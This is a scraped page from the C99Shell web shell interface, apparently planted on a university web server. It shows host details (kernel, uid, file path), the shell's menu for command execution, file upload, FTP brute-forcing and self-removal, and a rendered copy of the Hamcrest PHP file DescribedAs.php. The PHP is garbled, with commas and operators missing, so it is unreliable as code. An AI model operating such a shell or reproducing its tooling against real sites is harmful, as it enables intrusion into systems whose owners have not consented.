!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Core/   drwxr-xr-x
Free 117.69 GB of 200.55 GB (58.68%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DescribedAs.php (1.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

/*
 Copyright (c) 2009 hamcrest.org
 */
use Hamcrest\BaseMatcher;
use 
Hamcrest\Description;
use 
Hamcrest\Matcher;

/**
 * Provides a custom description to another matcher.
 */
class DescribedAs extends BaseMatcher
{

    private 
$_descriptionTemplate;
    private 
$_matcher;
    private 
$_values;

    const 
ARG_PATTERN '/%([0-9]+)/';

    public function 
__construct($descriptionTemplateMatcher $matcher, array $values)
    {
        
$this->_descriptionTemplate $descriptionTemplate;
        
$this->_matcher $matcher;
        
$this->_values $values;
    }

    public function 
matches($item)
    {
        return 
$this->_matcher->matches($item);
    }

    public function 
describeTo(Description $description)
    {
        
$textStart 0;
        while (
preg_match(self::ARG_PATTERN$this->_descriptionTemplate$matchesPREG_OFFSET_CAPTURE$textStart)) {
            
$text $matches[0][0];
            
$index $matches[1][0];
            
$offset $matches[0][1];

            
$description->appendText(substr($this->_descriptionTemplate$textStart$offset $textStart));
            
$description->appendValue($this->_values[$index]);

            
$textStart $offset strlen($text);
        }

        if (
$textStart strlen($this->_descriptionTemplate)) {
            
$description->appendText(substr($this->_descriptionTemplate$textStart));
        }
    }

    
/**
     * Wraps an existing matcher and overrides the description when it fails.
     *
     * @factory ...
     */
    
public static function describedAs(/* $description, Hamcrest\Matcher $matcher, $values... */)
    {
        
$args func_get_args();
        
$description array_shift($args);
        
$matcher array_shift($args);
        
$values $args;

        return new 
self($description$matcher$values);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.013 ]--